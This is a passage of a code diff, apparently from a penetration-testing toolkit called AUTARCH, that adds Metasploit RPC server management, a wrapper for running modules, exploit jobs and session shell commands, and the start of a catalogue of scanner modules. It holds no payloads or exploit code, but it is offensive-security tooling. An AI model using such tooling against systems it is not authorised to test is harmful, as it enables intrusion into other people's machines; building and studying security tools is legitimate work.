+ os.kill(int(pid), signal.SIGTERM) + # Wait a bit for graceful shutdown + time.sleep(1) + + # Check if still running, force kill if needed + try: + os.kill(int(pid), 0) # Check if process exists + os.kill(int(pid), signal.SIGKILL) + time.sleep(0.5) + except ProcessLookupError: + pass # Process already dead + + return True + except PermissionError: + # Process owned by root, need sudo + if use_sudo: + try: + subprocess.run(['sudo', 'kill', '-TERM', str(pid)], timeout=5) + time.sleep(1) + # Check if still running + try: + os.kill(int(pid), 0) + subprocess.run(['sudo', 'kill', '-KILL', str(pid)], timeout=5) + except ProcessLookupError: + pass + return True + except Exception as e: + print(f"{Colors.RED}[X] Failed to kill msfrpcd with sudo (PID {pid}): {e}{Colors.RESET}") + return False + else: + print(f"{Colors.RED}[X] Failed to kill msfrpcd (PID {pid}): Permission denied{Colors.RESET}") + return False + except ProcessLookupError: + return True # Already dead + + # Try pkill as fallback (with sudo if needed) + try: + if use_sudo: + subprocess.run(['sudo', 'pkill', '-f', 'msfrpcd'], timeout=5) + else: + subprocess.run(['pkill', '-f', 'msfrpcd'], timeout=5) + time.sleep(1) + return True + except Exception: + pass + + return False + + def start_server(self, username: str, password: str, + host: str = "127.0.0.1", port: int = 55553, + use_ssl: bool = True, use_sudo: bool = True) -> bool: + """Start the msfrpcd server with given credentials. + + Args: + username: RPC username + password: RPC password + host: Host to bind to + port: Port to listen on + use_ssl: Whether to use SSL + use_sudo: Run msfrpcd with sudo (required for raw socket modules like SYN scan) + + Returns: + True if server started successfully + """ + # Build msfrpcd command + from core.paths import find_tool + msfrpcd_bin = find_tool('msfrpcd') or 'msfrpcd' + cmd = [ + msfrpcd_bin, + '-U', username, + '-P', password, + '-a', host, + '-p', str(port), + '-f' # Run in foreground (we'll background it ourselves) + ] + + if not use_ssl: + cmd.append('-S') # Disable SSL + + # Prepend sudo if requested + if use_sudo: + cmd = ['sudo'] + cmd + + try: + # Start msfrpcd in background + self._server_process = subprocess.Popen( + cmd, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + start_new_session=True # Detach from our process group + ) + + # Wait for server to start (check port becomes available) + max_wait = 30 # seconds + start_time = time.time() + port_open = False + + while time.time() - start_time < max_wait: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(1) + result = sock.connect_ex((host, port)) + sock.close() + + if result == 0: + port_open = True + break + except Exception: + pass + + time.sleep(0.5) + + if not port_open: + print(f"{Colors.YELLOW}[!] Server started but port not responding after {max_wait}s{Colors.RESET}") + return False + + # Port is open, but server needs time to initialize RPC layer + # msfrpcd can take 5-10 seconds to fully initialize on some systems + print(f"{Colors.DIM} Waiting for RPC initialization...{Colors.RESET}") + time.sleep(5) # Give server time to fully initialize + + # Try a test connection to verify server is really ready + for attempt in range(10): + try: + test_rpc = MetasploitRPC( + host=host, port=port, username=username, + password=password, ssl=use_ssl + ) + test_rpc.connect(password) + test_rpc.disconnect() + return True + except MSFError as e: + if attempt < 9: + time.sleep(2) + continue + except Exception: + if attempt < 9: + time.sleep(2) + continue + + # Server started but auth still failing - return true anyway + # The server IS running, caller can retry connection + print(f"{Colors.YELLOW}[!] Server running but authentication not ready - try connecting manually{Colors.RESET}") + return True + + except FileNotFoundError: + print(f"{Colors.RED}[X] msfrpcd not found. Is Metasploit installed?{Colors.RESET}") + return False + except Exception as e: + print(f"{Colors.RED}[X] Failed to start msfrpcd: {e}{Colors.RESET}") + return False + + def get_settings(self) -> Dict[str, Any]: + """Get current MSF settings.""" + self._ensure_config_section() + return { + 'host': self.config.get('msf', 'host', '127.0.0.1'), + 'port': self.config.get_int('msf', 'port', 55553), + 'username': self.config.get('msf', 'username', 'msf'), + 'password': self.config.get('msf', 'password', ''), + 'ssl': self.config.get_bool('msf', 'ssl', True), + 'autoconnect': self.config.get_bool('msf', 'autoconnect', True) + } + + def save_settings(self, host: str, port: int, username: str, password: str, use_ssl: bool): + """Save MSF settings.""" + self._ensure_config_section() + self.config.set('msf', 'host', host) + self.config.set('msf', 'port', port) + self.config.set('msf', 'username', username) + self.config.set('msf', 'password', password) + self.config.set('msf', 'ssl', str(use_ssl).lower()) + self.config.save() + + def connect(self, password: str = None) -> MetasploitRPC: + """Connect to Metasploit RPC. + + Args: + password: RPC password (uses saved if not provided). + + Returns: + Connected MetasploitRPC instance. + """ + settings = self.get_settings() + password = password or settings['password'] + + self.rpc = MetasploitRPC( + host=settings['host'], + port=settings['port'], + username=settings['username'], + password=password, + ssl=settings['ssl'] + ) + + self.rpc.connect(password) + return self.rpc + + def disconnect(self): + """Disconnect from Metasploit RPC.""" + if self.rpc: + self.rpc.disconnect() + self.rpc = None + + @property + def is_connected(self) -> bool: + """Check if connected to MSF.""" + return self.rpc is not None and self.rpc.is_connected + + def autoconnect(self) -> bool: + """Perform automatic MSF server detection and connection on startup. + + Flow: + 1. Scan for existing msfrpcd server + 2. If found: kill it, ask for new credentials, restart with new creds + 3. If not found: ask for credentials, start server + 4. Connect to the server + + Returns: + True if successfully connected to MSF + """ + settings = self.get_settings() + + print(f"\n{Colors.CYAN}[*] Metasploit Auto-Connect{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 40}{Colors.RESET}") + + # Step 1: Detect existing server + print(f"\n{Colors.WHITE} Scanning for existing MSF RPC server...{Colors.RESET}") + is_running, pid = self.detect_server() + + if is_running: + print(f"{Colors.YELLOW} [!] Found existing msfrpcd server{Colors.RESET}", end="") + if pid: + print(f" (PID: {pid})") + else: + print() + + # Kill existing server (use sudo in case it was started with sudo) + print(f"{Colors.WHITE} Stopping existing server...{Colors.RESET}") + if not self.kill_server(use_sudo=True): + print(f"{Colors.RED} [X] Failed to stop existing server{Colors.RESET}") + print(f"{Colors.DIM} You may need to manually run: sudo pkill -f msfrpcd{Colors.RESET}") + return False + print(f"{Colors.GREEN} [+] Server stopped{Colors.RESET}") + else: + print(f"{Colors.DIM} No existing server detected{Colors.RESET}") + + # Step 2: Ask for credentials + print(f"\n{Colors.BOLD} Configure MSF RPC Credentials{Colors.RESET}") + print(f"{Colors.DIM} These credentials will be used for the new server{Colors.RESET}\n") + + try: + default_user = settings.get('username', 'msf') + default_host = settings.get('host', '127.0.0.1') + default_port = settings.get('port', 55553) + + username = input(f" Username [{default_user}]: ").strip() + if not username: + username = default_user + + password = input(f" Password (required): ").strip() + if not password: + print(f"{Colors.RED} [X] Password is required{Colors.RESET}") + return False + + host_input = input(f" Host [{default_host}]: ").strip() + host = host_input if host_input else default_host + + port_input = input(f" Port [{default_port}]: ").strip() + try: + port = int(port_input) if port_input else default_port + except ValueError: + port = default_port + + ssl_input = input(f" Use SSL (y/n) [y]: ").strip().lower() + use_ssl = ssl_input != 'n' + + # Ask about sudo - default to yes for full module support + print(f"\n{Colors.DIM} Note: Running with sudo enables raw socket modules (SYN scan, etc.){Colors.RESET}") + sudo_input = input(f" Run with sudo (y/n) [y]: ").strip().lower() + use_sudo = sudo_input != 'n' + + except (EOFError, KeyboardInterrupt): + print(f"\n{Colors.YELLOW} [!] Setup cancelled{Colors.RESET}") + return False + + # Save settings + self.save_settings(host, port, username, password, use_ssl) + + # Step 3: Start server + if use_sudo: + print(f"\n{Colors.WHITE} Starting msfrpcd server with sudo...{Colors.RESET}") + print(f"{Colors.DIM} (You may be prompted for your password){Colors.RESET}") + else: + print(f"\n{Colors.WHITE} Starting msfrpcd server...{Colors.RESET}") + + if not self.start_server(username, password, host, port, use_ssl, use_sudo): + print(f"{Colors.RED} [X] Failed to start msfrpcd server{Colors.RESET}") + return False + + print(f"{Colors.GREEN} [+] Server started on {host}:{port}{Colors.RESET}") + + # Step 4: Connect + print(f"{Colors.WHITE} Connecting to server...{Colors.RESET}") + try: + self.connect(password) + version = self.rpc.get_version() + print(f"{Colors.GREEN} [+] Connected to Metasploit {version.get('version', 'Unknown')}{Colors.RESET}") + return True + except MSFError as e: + print(f"{Colors.RED} [X] Connection failed: {e}{Colors.RESET}") + return False + + def set_autoconnect(self, enabled: bool): + """Enable or disable autoconnect on startup.""" + self._ensure_config_section() + self.config.set('msf', 'autoconnect', str(enabled).lower()) + self.config.save() + + +# Global MSF manager instance +_msf_manager: Optional[MSFManager] = None + + +def get_msf_manager() -> MSFManager: + """Get the global MSF manager instance.""" + global _msf_manager + if _msf_manager is None: + _msf_manager = MSFManager() + return _msf_manager + + +def msf_startup_autoconnect(skip_if_disabled: bool = True) -> bool: + """Perform MSF autoconnect during application startup. + + This is the main entry point for the autoconnect feature. + Call this during application initialization. + + Args: + skip_if_disabled: If True, skip autoconnect if disabled in config + + Returns: + True if connected successfully, False otherwise + """ + msf = get_msf_manager() + settings = msf.get_settings() + + # Check if autoconnect is enabled + if skip_if_disabled and not settings.get('autoconnect', True): + print(f"{Colors.DIM} MSF autoconnect disabled in settings{Colors.RESET}") + return False + + # Check if msgpack is available + if not MSGPACK_AVAILABLE: + print(f"{Colors.YELLOW}[!] msgpack not installed - MSF features disabled{Colors.RESET}") + print(f"{Colors.DIM} Install with: pip install msgpack{Colors.RESET}") + return False + + return msf.autoconnect() + + +def msf_quick_connect(username: str = None, password: str = None, + host: str = "127.0.0.1", port: int = 55553, + use_ssl: bool = True, kill_existing: bool = True, + use_sudo: bool = True) -> bool: + """Quick non-interactive MSF server setup and connection. + + Useful for scripting or when credentials are already known. + + Args: + username: RPC username (default: msf) + password: RPC password (required) + host: Host address + port: RPC port + use_ssl: Use SSL connection + kill_existing: Kill any existing msfrpcd server first + use_sudo: Run msfrpcd with sudo (required for raw socket modules) + + Returns: + True if connected successfully + """ + if not password: + print(f"{Colors.RED}[X] Password required for msf_quick_connect{Colors.RESET}") + return False + + if not MSGPACK_AVAILABLE: + print(f"{Colors.RED}[X] msgpack not installed{Colors.RESET}") + return False + + username = username or "msf" + msf = get_msf_manager() + + # Kill existing if requested + if kill_existing: + is_running, _ = msf.detect_server() + if is_running: + print(f"{Colors.WHITE}[*] Stopping existing msfrpcd...{Colors.RESET}") + msf.kill_server(use_sudo=use_sudo) + + # Save and start + msf.save_settings(host, port, username, password, use_ssl) + + print(f"{Colors.WHITE}[*] Starting msfrpcd{' with sudo' if use_sudo else ''}...{Colors.RESET}") + if not msf.start_server(username, password, host, port, use_ssl, use_sudo): + return False + + print(f"{Colors.WHITE}[*] Connecting...{Colors.RESET}") + try: + msf.connect(password) + print(f"{Colors.GREEN}[+] Connected to Metasploit{Colors.RESET}") + return True + except MSFError as e: + print(f"{Colors.RED}[X] Connection failed: {e}{Colors.RESET}") + return False diff --git a/core/msf_interface.py b/core/msf_interface.py new file mode 100644 index 0000000..62a9a65 --- /dev/null +++ b/core/msf_interface.py @@ -0,0 +1,846 @@ +""" +AUTARCH Metasploit Interface +Centralized high-level interface for all Metasploit operations. + +This module provides a clean API for executing MSF modules, handling +connection management, output parsing, and error recovery. + +Usage: + from core.msf_interface import get_msf_interface, MSFResult + + msf = get_msf_interface() + result = msf.run_module('auxiliary/scanner/portscan/tcp', {'RHOSTS': '192.168.1.1'}) + + if result.success: + for finding in result.findings: + print(finding) +""" + +import re +import time +from dataclasses import dataclass, field +from typing import Dict, List, Optional, Any, Tuple +from enum import Enum + +# Import the low-level MSF components +from core.msf import get_msf_manager, MSFError, MSFManager +from core.banner import Colors + + +class MSFStatus(Enum): + """Status of an MSF operation.""" + SUCCESS = "success" + PARTIAL = "partial" # Some results but also errors + FAILED = "failed" + AUTH_ERROR = "auth_error" + CONNECTION_ERROR = "connection_error" + TIMEOUT = "timeout" + NOT_CONNECTED = "not_connected" + + +@dataclass +class MSFResult: + """Result from an MSF module execution.""" + status: MSFStatus + module: str + target: str = "" + + # Raw and cleaned output + raw_output: str = "" + cleaned_output: str = "" + + # Parsed results + findings: List[str] = field(default_factory=list) # [+] lines + info: List[str] = field(default_factory=list) # [*] lines + errors: List[str] = field(default_factory=list) # [-] lines + warnings: List[str] = field(default_factory=list) # [!] lines + + # For scan results + open_ports: List[Dict] = field(default_factory=list) # [{port, service, state}] + services: List[Dict] = field(default_factory=list) # [{name, version, info}] + + # Metadata + execution_time: float = 0.0 + error_count: int = 0 + + @property + def success(self) -> bool: + return self.status in (MSFStatus.SUCCESS, MSFStatus.PARTIAL) + + def get_summary(self) -> str: + """Get a brief summary of the result.""" + if self.status == MSFStatus.SUCCESS: + return f"Success: {len(self.findings)} findings" + elif self.status == MSFStatus.PARTIAL: + return f"Partial: {len(self.findings)} findings, {self.error_count} errors" + elif self.status == MSFStatus.AUTH_ERROR: + return "Authentication token expired" + elif self.status == MSFStatus.CONNECTION_ERROR: + return "Connection to MSF failed" + elif self.status == MSFStatus.TIMEOUT: + return "Module execution timed out" + else: + return f"Failed: {self.errors[0] if self.errors else 'Unknown error'}" + + +class MSFInterface: + """High-level interface for Metasploit operations.""" + + # Patterns to filter from output (banner noise, Easter eggs, etc.) + SKIP_PATTERNS = [ + 'metasploit', '=[ ', '+ -- --=[', 'Documentation:', + 'Rapid7', 'Open Source', 'MAGIC WORD', 'PERMISSION DENIED', + 'access security', 'access:', 'Ready...', 'Alpha E', + 'Version 4.0', 'System Security Interface', 'Metasploit Park', + 'exploits -', 'auxiliary -', 'payloads', 'encoders -', + 'evasion', 'nops -', 'post -', 'msf6', 'msf5', 'msf >', + ] + + # Patterns indicating specific result types + PORT_PATTERN = re.compile( + r'(\d{1,5})/(tcp|udp)\s+(open|closed|filtered)?\s*(\S+)?', + re.IGNORECASE + ) + SERVICE_PATTERN = re.compile( + r'\[\+\].*?(\d+\.\d+\.\d+\.\d+):(\d+)\s*[-:]\s*(.+)', + re.IGNORECASE + ) + VERSION_PATTERN = re.compile( + r'(?:version|running|server)[\s:]+([^\n\r]+)', + re.IGNORECASE + ) + + def __init__(self): + self._manager: Optional[MSFManager] = None + self._last_error: Optional[str] = None + + @property + def manager(self) -> MSFManager: + """Get or create the MSF manager.""" + if self._manager is None: + self._manager = get_msf_manager() + return self._manager + + @property + def is_connected(self) -> bool: + """Check if connected to MSF RPC.""" + return self.manager.is_connected + + @property + def last_error(self) -> Optional[str]: + """Get the last error message.""" + return self._last_error + + def ensure_connected(self, password: str = None, auto_prompt: bool = True) -> Tuple[bool, str]: + """Ensure we have a valid connection to MSF RPC. + + Args: + password: Optional password to use for connection. + auto_prompt: If True, prompt for password if needed. + + Returns: + Tuple of (success, message). + """ + # Check if already connected + if self.is_connected: + # Verify the connection is actually valid with a test request + try: + self.manager.rpc.get_version() + return True, "Connected" + except Exception as e: + error_str = str(e) + if 'Invalid Authentication Token' in error_str: + # Token expired, need to reconnect + pass + else: + self._last_error = error_str + return False, f"Connection test failed: {error_str}" + + # Need to connect or reconnect + try: + # Disconnect existing stale connection + if self.manager.rpc: + try: + self.manager.rpc.disconnect() + except: + pass + + # Get password from settings or parameter + settings = self.manager.get_settings() + connect_password = password or settings.get('password') + + if not connect_password and auto_prompt: + print(f"{Colors.YELLOW}[!] MSF RPC password required{Colors.RESET}") + connect_password = input(f" Password: ").strip() + + if not connect_password: + self._last_error = "No password provided" + return False, "No password provided" + + # Connect + self.manager.connect(connect_password) + return True, "Connected successfully" + + except MSFError as e: + self._last_error = str(e) + return False, f"MSF Error: {e}" + except Exception as e: + self._last_error = str(e) + return False, f"Connection failed: {e}" + + def _run_console_command(self, commands: str, timeout: int = 120) -> Tuple[str, Optional[str]]: + """Execute commands via MSF console and capture output. + + Args: + commands: Newline-separated commands to run. + timeout: Maximum wait time in seconds. + + Returns: + Tuple of (output, error_message). + """ + try: + # Create console + console = self.manager.rpc._request("console.create") + console_id = console.get("id") + + if not console_id: + return "", "Failed to create console" + + try: + # Wait for console to initialize and consume banner + time.sleep(2) + self.manager.rpc._request("console.read", [console_id]) + + # Send commands one at a time + for cmd in commands.strip().split('\n'): + cmd = cmd.strip() + if cmd: + self.manager.rpc._request("console.write", [console_id, cmd + "\n"]) + time.sleep(0.3) + + # Collect output + output = "" + waited = 0 + idle_count = 0 + + while waited < timeout: + time.sleep(1) + waited += 1 + + result = self.manager.rpc._request("console.read", [console_id]) + new_data = result.get("data", "") + + if new_data: + output += new_data + idle_count = 0 + else: + idle_count += 1 + + # Stop if not busy and idle for 3+ seconds + if not result.get("busy", False) and idle_count >= 3: + break + + # Check for timeout + if waited >= timeout: + return output, "Execution timed out" + + return output, None + + finally: + # Clean up console + try: + self.manager.rpc._request("console.destroy", [console_id]) + except: + pass + + except Exception as e: + error_str = str(e) + if 'Invalid Authentication Token' in error_str: + return "", "AUTH_ERROR" + return "", f"Console error: {e}" + + def _clean_output(self, raw_output: str) -> str: + """Remove banner noise and clean up MSF output. + + Args: + raw_output: Raw console output. + + Returns: + Cleaned output string. + """ + lines = [] + for line in raw_output.split('\n'): + line_stripped = line.strip() + + # Skip empty lines + if not line_stripped: + continue + + # Skip banner/noise patterns + skip = False + for pattern in self.SKIP_PATTERNS: + if pattern.lower() in line_stripped.lower(): + skip = True + break + + if skip: + continue + + # Skip prompt lines + if line_stripped.startswith('>') and len(line_stripped) < 5: + continue + + # Skip set confirmations (we already show these) + if ' => ' in line_stripped and any( + line_stripped.startswith(opt) for opt in + ['RHOSTS', 'RHOST', 'PORTS', 'LHOST', 'LPORT', 'THREADS'] + ): + continue + + lines.append(line) + + return '\n'.join(lines) + + def _parse_output(self, cleaned_output: str, module_path: str) -> Dict[str, Any]: + """Parse cleaned output into structured data. + + Args: + cleaned_output: Cleaned console output. + module_path: The module that was run (for context). + + Returns: + Dictionary with parsed results. + """ + result = { + 'findings': [], + 'info': [], + 'errors': [], + 'warnings': [], + 'open_ports': [], + 'services': [], + 'error_count': 0, + } + + is_scanner = 'scanner' in module_path.lower() + is_portscan = 'portscan' in module_path.lower() + + for line in cleaned_output.split('\n'): + line_stripped = line.strip() + + # Categorize by prefix + if '[+]' in line: + result['findings'].append(line_stripped) + + # Try to extract port/service info from scanner results + if is_scanner: + # Look for IP:port patterns + service_match = self.SERVICE_PATTERN.search(line) + if service_match: + ip, port, info = service_match.groups() + result['services'].append({ + 'ip': ip, + 'port': int(port), + 'info': info.strip() + }) + + # Look for "open" port mentions + if is_portscan and 'open' in line.lower(): + port_match = re.search(r':(\d+)\s', line) + if port_match: + result['open_ports'].append({ + 'port': int(port_match.group(1)), + 'state': 'open' + }) + + elif '[-]' in line or 'Error:' in line: + # Count NoMethodError and similar spam but don't store each one + if 'NoMethodError' in line or 'undefined method' in line: + result['error_count'] += 1 + else: + result['errors'].append(line_stripped) + + elif '[!]' in line: + result['warnings'].append(line_stripped) + + elif '[*]' in line: + result['info'].append(line_stripped) + + return result + + def run_module( + self, + module_path: str, + options: Dict[str, Any] = None, + timeout: int = 120, + auto_reconnect: bool = True + ) -> MSFResult: + """Execute an MSF module and return parsed results. + + Args: + module_path: Full module path (e.g., 'auxiliary/scanner/portscan/tcp'). + options: Module options dictionary. + timeout: Maximum execution time in seconds. + auto_reconnect: If True, attempt to reconnect on auth errors. + + Returns: + MSFResult with parsed output. + """ + options = options or {} + target = options.get('RHOSTS', options.get('RHOST', '')) + start_time = time.time() + + # Ensure connected + connected, msg = self.ensure_connected() + if not connected: + return MSFResult( + status=MSFStatus.NOT_CONNECTED, + module=module_path, + target=target, + errors=[msg] + ) + + # Build console commands + commands = f"use {module_path}\n" + for key, value in options.items(): + commands += f"set {key} {value}\n" + commands += "run" + + # Execute + raw_output, error = self._run_console_command(commands, timeout) + + # Handle auth error with reconnect + if error == "AUTH_ERROR" and auto_reconnect: + connected, msg = self.ensure_connected() + if connected: + raw_output, error = self._run_console_command(commands, timeout) + else: + return MSFResult( + status=MSFStatus.AUTH_ERROR, + module=module_path, + target=target, + errors=["Session expired and reconnection failed"] + ) + + # Handle other errors + if error and error != "AUTH_ERROR": + if "timed out" in error.lower(): + status = MSFStatus.TIMEOUT + else: + status = MSFStatus.FAILED + return MSFResult( + status=status, + module=module_path, + target=target, + raw_output=raw_output, + errors=[error] + ) + + # Clean and parse output + cleaned = self._clean_output(raw_output) + parsed = self._parse_output(cleaned, module_path) + + execution_time = time.time() - start_time + + # Determine status + if parsed['error_count'] > 0 and not parsed['findings']: + status = MSFStatus.FAILED + elif parsed['error_count'] > 0: + status = MSFStatus.PARTIAL + elif parsed['findings'] or parsed['info']: + status = MSFStatus.SUCCESS + else: + status = MSFStatus.SUCCESS # No output isn't necessarily an error + + return MSFResult( + status=status, + module=module_path, + target=target, + raw_output=raw_output, + cleaned_output=cleaned, + findings=parsed['findings'], + info=parsed['info'], + errors=parsed['errors'], + warnings=parsed['warnings'], + open_ports=parsed['open_ports'], + services=parsed['services'], + execution_time=execution_time, + error_count=parsed['error_count'] + ) + + def run_scanner( + self, + module_path: str, + target: str, + ports: str = None, + options: Dict[str, Any] = None, + timeout: int = 120 + ) -> MSFResult: + """Convenience method for running scanner modules. + + Args: + module_path: Scanner module path. + target: Target IP or range (RHOSTS). + ports: Port specification (optional). + options: Additional options. + timeout: Maximum execution time. + + Returns: + MSFResult with scan results. + """ + opts = {'RHOSTS': target} + if ports: + opts['PORTS'] = ports + if options: + opts.update(options) + + return self.run_module(module_path, opts, timeout) + + def get_module_info(self, module_path: str) -> Optional[Dict[str, Any]]: + """Get information about a module. + + Args: + module_path: Full module path. + + Returns: + Module info dictionary or None. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return None + + try: + # Determine module type from path + parts = module_path.split('/') + if len(parts) < 2: + return None + + module_type = parts[0] + module_name = '/'.join(parts[1:]) + + info = self.manager.rpc.get_module_info(module_type, module_name) + return { + 'name': info.name, + 'description': info.description, + 'author': info.author, + 'type': info.type, + 'rank': info.rank, + 'references': info.references + } + except Exception as e: + self._last_error = str(e) + return None + + def get_module_options(self, module_path: str) -> Optional[Dict[str, Any]]: + """Get available options for a module. + + Args: + module_path: Full module path. + + Returns: + Options dictionary or None. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return None + + try: + parts = module_path.split('/') + if len(parts) < 2: + return None + + module_type = parts[0] + module_name = '/'.join(parts[1:]) + + return self.manager.rpc.get_module_options(module_type, module_name) + except Exception as e: + self._last_error = str(e) + return None + + def search_modules(self, query: str) -> List[str]: + """Search for modules matching a query. + + Args: + query: Search query. + + Returns: + List of matching module paths. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return [] + + try: + results = self.manager.rpc.search_modules(query) + # Results are typically dicts with 'fullname' key + if isinstance(results, list): + return [r.get('fullname', r) if isinstance(r, dict) else str(r) for r in results] + return [] + except Exception as e: + self._last_error = str(e) + return [] + + def list_modules(self, module_type: str = None) -> List[str]: + """List available modules by type. + + Args: + module_type: Filter by type (exploit, auxiliary, post, payload, encoder, nop). + If None, returns all modules. + + Returns: + List of module paths. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return [] + + try: + return self.manager.rpc.list_modules(module_type) + except Exception as e: + self._last_error = str(e) + return [] + + def list_sessions(self) -> Dict[str, Any]: + """List active MSF sessions. + + Returns: + Dictionary of session IDs to session info. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return {} + + try: + return self.manager.rpc.list_sessions() + except Exception as e: + self._last_error = str(e) + return {} + + def list_jobs(self) -> Dict[str, Any]: + """List running MSF jobs. + + Returns: + Dictionary of job IDs to job info. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return {} + + try: + return self.manager.rpc.list_jobs() + except Exception as e: + self._last_error = str(e) + return {} + + def stop_job(self, job_id: str) -> bool: + """Stop a running job. + + Args: + job_id: Job ID to stop. + + Returns: + True if stopped successfully. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False + + try: + return self.manager.rpc.stop_job(job_id) + except Exception as e: + self._last_error = str(e) + return False + + def execute_module_job( + self, + module_path: str, + options: Dict[str, Any] = None + ) -> Tuple[bool, Optional[str], Optional[str]]: + """Execute a module as a background job (non-blocking). + + This is different from run_module() which uses console and captures output. + Use this for exploits and long-running modules that should run in background. + + Args: + module_path: Full module path. + options: Module options. + + Returns: + Tuple of (success, job_id, error_message). + """ + connected, msg = self.ensure_connected() + if not connected: + return False, None, msg + + try: + parts = module_path.split('/') + if len(parts) < 2: + return False, None, "Invalid module path" + + module_type = parts[0] + module_name = '/'.join(parts[1:]) + + result = self.manager.rpc.execute_module(module_type, module_name, options or {}) + + job_id = result.get('job_id') + if job_id is not None: + return True, str(job_id), None + else: + # Check for error in result + error = result.get('error_message') or result.get('error') or "Unknown error" + return False, None, str(error) + + except Exception as e: + self._last_error = str(e) + return False, None, str(e) + + def session_read(self, session_id: str) -> Tuple[bool, str]: + """Read from a session shell. + + Args: + session_id: Session ID. + + Returns: + Tuple of (success, output). + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False, "" + + try: + output = self.manager.rpc.session_shell_read(session_id) + return True, output + except Exception as e: + self._last_error = str(e) + return False, "" + + def session_write(self, session_id: str, command: str) -> bool: + """Write a command to a session shell. + + Args: + session_id: Session ID. + command: Command to execute. + + Returns: + True if written successfully. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False + + try: + return self.manager.rpc.session_shell_write(session_id, command) + except Exception as e: + self._last_error = str(e) + return False + + def session_stop(self, session_id: str) -> bool: + """Stop/kill a session. + + Args: + session_id: Session ID. + + Returns: + True if stopped successfully. + """ + connected, _ = self.ensure_connected(auto_prompt=False) + if not connected: + return False + + try: + return self.manager.rpc.session_stop(session_id) + except Exception as e: + self._last_error = str(e) + return False + + def run_console_command(self, command: str, timeout: int = 30) -> Tuple[bool, str]: + """Run a raw console command and return output. + + This is a lower-level method for direct console access. + + Args: + command: Console command to run. + timeout: Timeout in seconds. + + Returns: + Tuple of (success, output). + """ + connected, msg = self.ensure_connected() + if not connected: + return False, msg + + try: + output = self.manager.rpc.run_console_command(command, timeout=timeout) + return True, output + except Exception as e: + self._last_error = str(e) + return False, str(e) + + def print_result(self, result: MSFResult, verbose: bool = False): + """Print a formatted result to the console. + + Args: + result: MSFResult to print. + verbose: If True, show all output including info lines. + """ + print(f"\n{Colors.CYAN}Module Output:{Colors.RESET}") + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + if result.status == MSFStatus.NOT_CONNECTED: + print(f" {Colors.RED}[X] Not connected to Metasploit{Colors.RESET}") + if result.errors: + print(f" {result.errors[0]}") + elif result.status == MSFStatus.AUTH_ERROR: + print(f" {Colors.RED}[X] Authentication failed{Colors.RESET}") + elif result.status == MSFStatus.TIMEOUT: + print(f" {Colors.YELLOW}[!] Execution timed out{Colors.RESET}") + else: + # Print findings (green) + for line in result.findings: + print(f" {Colors.GREEN}{line}{Colors.RESET}") + + # Print info (cyan) - only in verbose mode + if verbose: + for line in result.info: + print(f" {Colors.CYAN}{line}{Colors.RESET}") + + # Print warnings (yellow) + for line in result.warnings: + print(f" {Colors.YELLOW}{line}{Colors.RESET}") + + # Print errors (dim) + for line in result.errors: + print(f" {Colors.DIM}{line}{Colors.RESET}") + + # Summarize error count if high + if result.error_count > 0: + print(f"\n {Colors.YELLOW}[!] {result.error_count} errors occurred during execution{Colors.RESET}") + + print(f"{Colors.DIM}{'─' * 50}{Colors.RESET}") + + # Print summary + if result.execution_time > 0: + print(f" {Colors.DIM}Time: {result.execution_time:.1f}s{Colors.RESET}") + print(f" {Colors.DIM}Status: {result.get_summary()}{Colors.RESET}") + + # Print parsed port/service info if available + if result.open_ports: + print(f"\n {Colors.GREEN}Open Ports:{Colors.RESET}") + for port_info in result.open_ports: + print(f" {port_info['port']}/tcp - {port_info.get('state', 'open')}") + + if result.services: + print(f"\n {Colors.GREEN}Services Detected:{Colors.RESET}") + for svc in result.services: + print(f" {svc['ip']}:{svc['port']} - {svc['info']}") + + +# Global instance +_msf_interface: Optional[MSFInterface] = None + + +def get_msf_interface() -> MSFInterface: + """Get the global MSF interface instance.""" + global _msf_interface + if _msf_interface is None: + _msf_interface = MSFInterface() + return _msf_interface diff --git a/core/msf_modules.py b/core/msf_modules.py new file mode 100644 index 0000000..6428012 --- /dev/null +++ b/core/msf_modules.py @@ -0,0 +1,1192 @@ +""" +AUTARCH Metasploit Module Library +Descriptions and metadata for common Metasploit modules. + +Provides user-friendly descriptions, common options, and usage guidance +for frequently used MSF modules without needing to query MSF itself. + +Usage: + from core.msf_modules import get_module_info, search_modules, get_modules_by_category + + info = get_module_info('auxiliary/scanner/smb/smb_version') + print(info['description']) + + results = search_modules('eternalblue') + for mod in results: + print(mod['path'], mod['name']) +""" + +from typing import Dict, Optional, List, Any + + +# ============================================================================= +# MODULE LIBRARY +# ============================================================================= +# Each module entry contains: +# - name: Human-readable name +# - description: What the module does (user-friendly) +# - author: Module author(s) +# - cve: CVE identifier(s) if applicable +# - platforms: Target platforms (windows, linux, unix, multi, etc.) +# - arch: Target architectures (x86, x64, etc.) +# - reliability: excellent, great, good, normal, average, low +# - options: List of key options with brief descriptions +# - tags: Keywords for searching +# - notes: Usage tips and warnings + +MSF_MODULES = { + # ========================================================================= + # SCANNERS - SMB + # ========================================================================= + 'auxiliary/scanner/smb/smb_version': { + 'name': 'SMB Version Scanner', + 'description': 'Scans for SMB servers and identifies the operating system, SMB version, ' + 'and other details. Essential first step for Windows network enumeration. ' + 'Identifies Windows version, domain membership, and SMB signing status.', + 'author': ['hdm'], + 'cve': None, + 'platforms': ['windows'], + 'arch': None, + 'reliability': 'excellent', + 'options': [ + {'name': 'RHOSTS', 'required': True, 'desc': 'Target IP(s) or range'}, + {'name': 'THREADS', 'required': False, 'desc': 'Concurrent threads (default: 1)'}, + ], + 'tags': ['smb', 'scanner', 'enumeration', 'windows', 'version', 'fingerprint'], + 'notes': 'Safe to run - passive fingerprinting. Run this first on Windows networks.', + }, + 'auxiliary/scanner/smb/smb_enumshares': { + 'name': 'SMB Share Enumeration', + 'description': 'Enumerates SMB shares on target systems. Lists available shares, ' 